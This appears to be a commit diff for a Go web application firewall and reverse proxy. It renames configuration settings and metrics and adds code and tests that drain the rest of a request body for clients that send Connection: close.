/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
+1 -1
View File
@@ -5,7 +5,7 @@
# before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a
# field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass
+6 -3
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page.
@@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
},
} {
body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
}
if got, _ := inspectBody(t, crs, sent.r, body); len(
+1 -1
View File
@@ -3,7 +3,7 @@
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
+1 -1
View File
@@ -66,7 +66,7 @@ type Params struct {
URL string
// Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned
// (SWW_WAF_LOOKUP_TIMEOUT).
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
Timeout time.Duration
// Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one.
+19 -17
View File
@@ -13,14 +13,15 @@ const other = "other"
// busiest are the metrics by one thing the lookup finds of the client,
// its country or its AS number, for requests whose client's is known.
// The topN busiest countries or AS numbers, by their requests since the
// start, have series of their own, and the others are counted under
// other, so that there are never more than topN + 1 series. One that
// drops out of the busiest loses its series, and its next requests are
// counted under other; one that becomes one of them gets a series that
// counts from then on. Each series therefore only ever goes up.
// The busiestCount busiest countries or AS numbers, by their requests
// since the start, have series of their own, and the others are counted
// under other, so that there are never more than busiestCount + 1 series.
// One that drops out of the busiest loses its series, and its next
// requests are counted under other; one that becomes one of them gets a
// series that counts from then on. Each series therefore only ever goes
// up.
type busiest struct {
topN int
busiestCount int
requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec
@@ -38,9 +39,9 @@ type busiest struct {
}
// newCountries returns the metrics by country, with series of their own
// for the topN busiest countries.
func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country")
// for the busiestCount busiest countries.
func newCountries(busiestCount int) *busiest {
countries := newBusiest(busiestCount, "country", "the client's country")
countries.refused = counterVec(
"sww_country_list_refusals_total",
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -51,18 +52,19 @@ func newCountries(topN int) *busiest {
}
// newASNs returns the metrics by AS number, with series of their own for
// the topN busiest AS numbers.
func newASNs(topN int) *busiest {
return newBusiest(topN, "asn", "the client's AS number")
// the busiestCount busiest AS numbers.
func newASNs(busiestCount int) *busiest {
return newBusiest(busiestCount, "asn", "the client's AS number")
}
// newBusiest returns the metrics by label, which is described as
// description, with series of their own for the topN busiest values.
func newBusiest(topN int, label, description string) *busiest {
// description, with series of their own for the busiestCount busiest
// values.
func newBusiest(busiestCount int, label, description string) *busiest {
by := []string{label}
return &busiest{
topN: topN,
busiestCount: busiestCount,
requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by),
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -131,7 +133,7 @@ func (b *busiest) label(value string) string {
return value
}
if len(b.top) < b.topN {
if len(b.top) < b.busiestCount {
b.top[value] = true
return value
+8 -8
View File
@@ -61,12 +61,12 @@ type Metrics struct {
}
// New returns the metrics, with the Go runtime's and the process's own.
// topN is how many countries and how many AS numbers get series of their
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
// (SWW_WAF_INSTANCE_NAME) as its label instance.
// busiestCount is how many countries and how many AS numbers get series of
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
func New(busiestCount int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
registry := prometheus.NewRegistry()
@@ -102,7 +102,7 @@ func New(topN int, instanceName string) *Metrics {
}),
rateLimitHits: counterVec(
"sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
"its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"},
),
@@ -114,8 +114,8 @@ func New(topN int, instanceName string) *Metrics {
"and the rule's id.",
[]string{"mode", "rule_id"},
),
countries: newCountries(topN),
asns: newASNs(topN),
countries: newCountries(busiestCount),
asns: newASNs(busiestCount),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.",
@@ -465,7 +465,7 @@ func (m *Metrics) RequestReported(
}
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
// refusal limit, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
+12 -12
View File
@@ -25,7 +25,7 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests sww
// KindRefusals is the refusal limit, on a client's requests sww
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
@@ -54,7 +54,7 @@ type Limiter struct {
// Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
// minute, which the refusal limit counts, and its history.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct {
@@ -121,7 +121,7 @@ type Responses struct {
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match
// refusal limit, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
// refused.
@@ -147,7 +147,7 @@ type Request struct {
RequestBytes int64
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or
// limit or the refusal limit, Attack for one that matched a ban rule or
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
BrokeLimit bool
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
}
}
// Hit is a request that takes a client over a rate limit or the error
// burst, or whose bytes take it over a byte limit.
// Hit is a request that takes a client over a rate limit or the refusal
// limit, or whose bytes take it over a byte limit.
type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
// KindRefusals for the refusal limit.
Kind string
// Window is "minute", "hour" or "day".
Window string
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
// CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
// that ends at now, this one included, are more than limit, which breaks
// the refusal limit, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
client netip.Prefix, now time.Time, limit int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
hit := Hit{
Kind: KindRefusals,
Window: "minute",
Limit: threshold,
Limit: limit,
Count: count,
}
return hit, count > float64(threshold)
return hit, count > float64(limit)
}
// Reset sets client's counts of requests, of bytes and of refusals in
+6 -4
View File
@@ -351,7 +351,9 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
t *testing.T,
) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
@@ -361,7 +363,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf(
"a refusal within the threshold of %d broke the error burst",
"a refusal within the limit of %d broke the refusal limit",
limit,
)
}
@@ -374,7 +376,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
}
if !over || hit != want {
t.Errorf(
"one over the threshold broke it: %t, with %+v; want %+v",
"one over the limit broke it: %t, with %+v; want %+v",
over,
hit,
want,
@@ -382,7 +384,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
// this one: 3, within the limit.
hit, over = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
+4 -4
View File
@@ -62,9 +62,9 @@ type Params struct {
// RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool
// Buffer is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER).
Buffer int
// BufferLines is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
BufferLines int
// Facility is the number of the records' syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
// id and the structured data have no value.
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
afterTime: " " + hostname + " " + params.AppName + " - - - ",
records: make(chan []byte, params.Buffer),
records: make(chan []byte, params.BufferLines),
}
}
+5 -5
View File
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
endpoint := listen(t)
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
endpointParams.RootCAs = roots
endpointParams.Buffer = 3
endpointParams.BufferLines = 3
sender, _, _ := run(t, endpointParams)
// The sender connects, and its TLS handshake waits for an answer
@@ -402,10 +402,10 @@ func (o *output) text() string {
// appName.
func params(scheme string, addr net.Addr) remotelog.Params {
return remotelog.Params{
URL: &url.URL{Scheme: scheme, Host: addr.String()},
Buffer: 10,
Facility: local0,
AppName: appName,
URL: &url.URL{Scheme: scheme, Host: addr.String()},
BufferLines: 10,
Facility: local0,
AppName: appName,
}
}
+2 -2
View File
@@ -65,8 +65,8 @@ type AbuseIPDBParams struct {
MinScore int64
DailyBudget int
// CacheTTL is how long a score is used after it was fetched
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWW_WAF_REPUTATION_TIMEOUT).
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
+2 -2
View File
@@ -60,8 +60,8 @@ type DNSBLParams struct {
// host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWW_WAF_REPUTATION_TIMEOUT).
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
+5 -4
View File
@@ -40,10 +40,11 @@ const (
// zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example"
otherZone = "other.example"
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// can have Go's resolver wait for one server, so that it is the
// DNSBL's own timeout that ends a query, whatever that file says.
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
// /etc/resolv.conf can have Go's resolver wait for one server, so that
// it is the DNSBL's own timeout that ends a query, whatever that file
// says.
cacheTTL = 24 * time.Hour
timeout = time.Second
// listed and unlisted are clients zone is asked about by the names
+10 -8
View File
@@ -44,13 +44,14 @@ const (
ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
// SWW_WAF_TAG_DENY.
ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country
@@ -62,12 +63,12 @@ const (
)
// OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the error burst, or whose bytes broke a byte
// broke a rate limit or the refusal limit, or whose bytes broke a byte
// limit.
const OffenceLimit = "limit"
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
// that broke the error burst.
// that broke the refusal limit.
const LimitHitMinuteRefusals = "minute_refusals"
// The waf_line a request line names, which says which of
@@ -180,7 +181,7 @@ type Line struct {
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitMinuteRefusals for the error burst.
// LimitHitMinuteRefusals for the refusal limit.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones
@@ -233,10 +234,11 @@ type RProxyLine struct {
DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition waf answered or, while
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
// when neither gave one.
// WAFBackendNoAnswer is true, the value of
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
// gave one.
Disposition string `json:"disposition,omitempty"`
DefaultDisposition bool `json:"default_disposition,omitempty"`
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
}
// Write writes line to w as one JSON line marked "type":"request".
+146 -6
View File
@@ -26,6 +26,10 @@ import (
// post is the start of a POST whose headers end with what follows it.
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
// body, the 64 KiB rproxy reads before it asks waf.
const limitPastFirstPart = "128K"
// announcedLength is the header that announces a body of size bytes, and the
// end of the headers.
func announcedLength(size int) string {
@@ -75,7 +79,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
size, asked int
}{
{"with the limit within the first part", "1K", 1025, 1024},
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
{
"with the limit past the first part", limitPastFirstPart, 129 << 10,
questionBodyMaxBytes,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -93,10 +100,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
},
)
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size))))
if got.status != http.StatusRequestEntityTooLarge {
t.Errorf("answered %+v, want 413", got)
// The visitor sends no Connection: close, so Go's server reads the rest
// of the body before it closes the connection. Closed with the rest
// unread, the connection is reset while the visitor still sends.
conn := dial(t, addr)
send(t, conn, post+announcedLength(tc.size)+
strings.Repeat("x", tc.size))
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
t.Errorf("status %d, want 413", status)
}
if asked := standIn.question(t); len(asked.body) != tc.asked {
@@ -131,6 +143,134 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
}
}
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
name string
waf http.HandlerFunc
rest int
status int
}{
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
{"denied", deny, 65 << 10, http.StatusForbidden},
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
// connection's buffers. Otherwise the visitor is still sending when the
// connection closes, and gets a reset.
{
"with more than 256 KiB left", allow, 272 << 10,
http.StatusRequestEntityTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, tc.waf)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, _ := startRProxy(t, standIn.URL, app.URL,
map[string]string{maxRequestSize: limitPastFirstPart})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(questionBodyMaxBytes+tc.rest)+
strings.Repeat("x", questionBodyMaxBytes))
reader := bufio.NewReader(conn)
res, err := http.ReadResponse(reader, nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
_, _ = io.Copy(io.Discard, res.Body)
_ = res.Body.Close()
if res.StatusCode != tc.status {
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
}
// The rest goes in small parts, so that a reset fails a later one.
for sent := 0; sent < tc.rest; sent += 1 << 10 {
send(t, conn, strings.Repeat("x", 1<<10))
}
got, err := io.ReadAll(reader)
if err != nil || len(got) != 0 {
t.Errorf(
"after the answer, read %q and %v, want the end",
got,
err,
)
}
})
}
}
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(dispositionHeader, dispositionClose)
w.WriteHeader(http.StatusOK)
})
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes))
// If the connection stays open, dial's deadline ends this read with a timeout.
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf(
"read %q (%v), want the connection closed without an answer",
text,
err,
)
}
}
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, allow)
// The flush has the app's server send greeting in chunks instead of adding a
// Content-Length.
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
_, _ = io.WriteString(w, greeting)
_ = rc.Flush()
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes+1))
wantGreeting(t, readAnswer(t, conn))
}
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
t.Parallel()
@@ -143,7 +283,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
mayReachApp bool
}{
{"within the first part", "1K", 2 << 10, false},
{"past the first part", "128K", 129 << 10, true},
{"past the first part", limitPastFirstPart, 129 << 10, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
+2 -2
View File
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusMethodNotAllowed) ||
line["disposition"] != nil || line["default_disposition"] != nil {
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
t.Errorf("line %v, want status 405 and no disposition", line)
}
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusBadRequest) ||
line["disposition"] != nil || line["default_disposition"] != nil {
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
t.Errorf("line %v, want status 400 and no disposition", line)
}
+40 -10
View File
@@ -38,6 +38,10 @@ const plainText = "text/plain; charset=utf-8"
// and the visitor then gets a closed connection and no answer.
const minSendTime = 10 * time.Second
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
// reads once the handler returns, for a visitor without Connection: close.
const maxBodyReadAfterAnswer = 256 << 10
// errResponseTooLate refuses an app's answer that arrives once
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
var errResponseTooLate = errors.New(
@@ -61,12 +65,13 @@ type request struct {
start time.Time
// disposition is what is done with the request: waf's valid disposition,
// or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
// gave one.
disposition string
// answered is true when waf gave disposition, which makes a report due,
// and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
answered bool
byDefault bool
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
answered bool
wafNoAnswer bool
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
// app.
asn, country string
@@ -338,8 +343,8 @@ func (rq *request) answer(status int) {
}
// A visitor found too slow is read no more; any other may go on sending until
// its time is up, so that Go's server can read the rest of the body and end
// the request cleanly.
// its time is up, so that the rest of the body is read and the request ends
// cleanly: by Go's server, or by readRestOfBody.
deadline := rq.requestDeadline()
if status == http.StatusRequestTimeout {
deadline = time.Now()
@@ -450,7 +455,7 @@ func (rq *request) finish(ctx context.Context) {
),
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
WAFBackendNoAnswer: rq.wafNoAnswer,
},
)
if err != nil {
@@ -523,10 +528,35 @@ func (rq *request) stopReadingBody(deadline time.Time) {
_ = rq.rc.SetReadDeadline(deadline)
}
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
// has been answered with a Content-Length, until the read deadline already set on
// the connection. It does this only for a body with a declared length from a
// visitor that sent Connection: close, because Go's server reads none of that
// rest. Without the read, the visitor, still sending, gets a reset and may never
// read the answer. Go's server ends an answer without a Content-Length only once
// the handler returns, so reading first would hold back the end of that answer.
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
// server tell the visitor it sends no more, then wait 500 ms before it closes
// the connection.
func (rq *request) readRestOfBody() {
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
rq.out.Header().Get("Content-Length") == "" ||
rq.out.status == http.StatusSwitchingProtocols {
return
}
rest := http.MaxBytesReader(
rq.out.ResponseWriter,
rq.in.Body,
maxBodyReadAfterAnswer,
)
_, _ = io.Copy(io.Discard, rest)
}
// stopPassingOnBody ends the transport's reading of a visitor's body that has
// not arrived whole, and lets Go's server read the rest until deadline. Go's
// server reads it once the handler returns, but with no deadline at all if
// another read of it is still waiting.
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
// deadline. Go's server reads it once the handler returns, but with no deadline
// at all if another read of it is still waiting.
func (rq *request) stopPassingOnBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
+9 -6
View File
@@ -1,9 +1,10 @@
// Package rproxy is the reverse proxy in front of one app that asks waf
// about each request. It passes a request waf allows to the app and the
// app's answer back, within the size and time limits. Any other answer from
// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
// decides only when waf cannot be connected to, does not answer at all, or
// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
// waf goes to the visitor as waf gave it.
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
// be connected to, does not answer at all, or does not answer within
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
// method it does not pass on, or one it cannot put to waf as the visitor
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
// SPEC.md says what it does.
@@ -108,8 +109,8 @@ func New(params Params) *Server {
}
// WaitForReports returns once the reports being sent have gone or failed,
// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
// a WebSocket that closes while rproxy stops, for one.
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
func (s *Server) WaitForReports() {
s.h.reportsMu.Lock()
s.h.reportsStopped = true
@@ -169,6 +170,7 @@ func newWAFTransport() *http.Transport {
// it writes the request's log line and sends its report.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq := h.newRequest(w, r)
defer rq.readRestOfBody()
defer rq.finish(r.Context())
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
@@ -217,7 +219,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// passToApp passes the request on to the app, unless a limit or its path keeps
// it from the app. waf answers a path under ownEndpointPrefix itself, so
// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
// such a request gets here only when
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
// ctx is the request's own context.
func (rq *request) passToApp(ctx context.Context) {
maxBytes := rq.h.config.MaxRequestSize
+54 -41
View File
@@ -44,13 +44,13 @@ const (
// The settings the tests set.
const (
timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
)
// The headers the tests set and look at.
@@ -774,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
line := out.requestLine(t)
if line["disposition"] != dispositionDeny ||
line["default_disposition"] != nil {
line["waf_backend_no_answer"] != nil {
t.Errorf("line %v, want waf's deny", line)
}
}
@@ -956,7 +956,8 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
}
}
// noAnswers are the ways waf can leave the decision to the default.
// noAnswers are the ways waf can leave the decision to
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere },
@@ -1008,7 +1009,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
} {
for _, setting := range []string{dispositionAllow, dispositionDeny} {
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
t.Run(subtest, func(t *testing.T) {
t.Parallel()
standIn := startWAF(
@@ -1031,7 +1033,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
standIn.URL,
app.URL,
map[string]string{
defaultDisposition: setting,
noAnswerSetting: setting,
},
